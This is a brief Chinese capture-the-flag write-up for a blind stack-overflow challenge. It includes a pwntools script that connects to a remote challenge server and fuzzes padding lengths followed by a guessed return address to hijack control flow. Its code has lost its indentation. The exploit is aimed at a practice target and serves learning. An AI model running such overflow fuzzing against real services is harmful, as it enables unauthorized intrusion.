1.题目
1.1.保护机制
不详
1.2.关键代码
没有提供代码
我们使用nc连接之后发现给了一个输入点和一个地址
2.思路
重点1:没有给代码,说明要我们使用fuzz
重点2:猜测给的地址是漏洞利用函数地址,应该可以通过栈溢出去调用,
重点3:所以我们fuzz的参数应该有两个,第一个是num即发送的字符串,第三个是flag即跟随的payload函数(0代表不跟随,1代表32位,2代表64位)
from pwn import *
from ctypes import *
#context(arch="amd64",os="linux",log_level="debug")
con = remote('111.200.241.244',59105)
#con = process('./pwn')
#elf = ELF('./pwn')
addr = 0x40060d
def fuzz(con,num,flag):
payload = "a" * num
if flag == 1:
payload += p32(addr)
if flag == 2:
payload += p64(addr)
con.sendlineafter(">",payload)
for i in range(1000):
print i
for j in range(3):
try:
con = remote('111.200.241.244',59105)
fuzz(con,i,j)
text = con.recv()
print "texct.len = " + str(len(text)) + "text = " + text
print "num = " + str(i) + "flag = " + str(j)
except:
con.close()